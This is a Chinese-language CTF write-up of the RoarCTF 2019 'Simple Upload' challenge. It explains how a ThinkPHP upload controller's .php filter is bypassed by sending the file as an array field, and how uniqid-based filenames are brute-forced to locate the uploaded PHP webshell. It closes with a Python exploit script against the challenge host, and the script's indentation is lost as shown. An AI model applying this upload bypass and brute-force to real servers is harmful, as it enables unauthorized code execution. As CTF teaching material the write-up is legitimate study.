[RoarCTF 2019]Simple Upload
知識點
thinkphp路由預設上傳路徑
thinkphp upload類錯誤使用導致getshell
審題
貼上原始碼
<?php namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index() { show_source(__FILE__); } public function upload() { $uploadFile = $_FILES['file'] ; if (strstr(strtolower($uploadFile['name']), ".php") ) { return false; } $upload = new \Think\Upload();// 例項化上傳類 $upload->maxSize = 4096 ;// 設定附件上傳大小 $upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 設定附件上傳型別 $upload->rootPath = './Public/Uploads/';// 設定附件上傳目錄 $upload->savePath = '';// 設定附件上傳子目錄 $info = $upload->upload() ; if(!$info) {// 上傳錯誤提示錯誤資訊 $this->error($upload->getError()); return; }else{// 上傳成功 獲取上傳檔案資訊 $url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ; echo json_encode(array("url"=>$url,"success"=>1)); } } }
第一次做這種型別的題 就挺懵的 蛤 還能沒有上傳按鈕的上傳嗎 而且這寫的是個啥 後來經過dalao(手動艾特我的另一個大哥石師傅)的指點 算是理清楚了這道題的知識點 下面一個個來
THINKPHP路由
首先這道題其實是定義了一個路由(路由器) 什麼是路由 可以看一下tp的操作手冊 路由簡單來說可以起到一個重定向的作用 這樣既可以隱藏真實物理路徑 也可以減少伺服器資料夾的冗餘 有個需要知道的知識點就是 在路由裡 預設的上傳檔案路徑是/home/index/upload 但是這題有一個坑 如果我們輸url+/home/index/upload的話 會404
(nmdwsm當時搞了好久都是因為這個坑)
這裡來解釋一下 下面引用一個
而預設的上傳路徑也是相對index.php的目錄 於是我們在路徑前面加上index.php 我們就成功獲得了上傳需要的地址
UPLOAD類的錯誤使用
接下來的點是upload類的錯誤使用而導致的getshell 下面還是貼上tp的手冊 我們知道 如果upload類在不含參的時候上傳 是不會對檔案進行過濾的 也就是會把整個$_FILE陣列的檔案都上傳 但是上傳時有個問題
總共上傳了三次 第一三次上傳的是一個空的txt檔案 可以看到的地址和檔名 然而如果上傳一個不含參的檔案時 他只會給你地址不會給你檔名 雖然傳上去了但是連不上
UNIQID
UNIQID函式是根據當前計算機時間生成一個檔名的函式 這也是upload類呼叫的命名函式 也就是說 如果我們兩個上傳的檔案在時間上夠接近 那麼他們的檔名就可以用爆破的方式跑出來 如果我們上傳成功 那麼當我們訪問這個檔案的時候 就會有正常回顯 但是如果我們訪問不到 就會404 也就是說可以根據這個進行爆破 爆破可以寫python也可以直接用burpsuite
EXP
import requests
url = 'http://42ce58e8-bbfa-427d-b9c2-c732b517a827.node3.buuoj.cn/index.php/Home/index/upload'
file1 = {'file':open('C:\\users\\20719\\desktop\\1.txt','r')}
file2 = {'file[]':open('C:\\users\\20719\\desktop\\php.php','r')}
file3 = {'file':open('C:\\users\\20719\\desktop\\1.txt','r')}
r=requests.post(url,files=file1)
print(r.text)
r=requests.post(url,files=file2)
print(r.text)
r=requests.post(url,files=file3)
print(r.text)
dir='abcdefghijklmnopqrstuvwxyz0123456789'
for i in dir:
for j in dir:
for x in dir:
for y in dir:
for z in dir:
url='http://42ce58e8-bbfa-427d-b9c2-c732b517a827.node3.buuoj.cn/Public/Uploads/2020-12-04/5fc9da34{}{}{}{}{}.txt'.format(i,j,x,y,z)
r = requests.get(url)
print(url)
if r.status_code== 200:
print(url)
break
EOF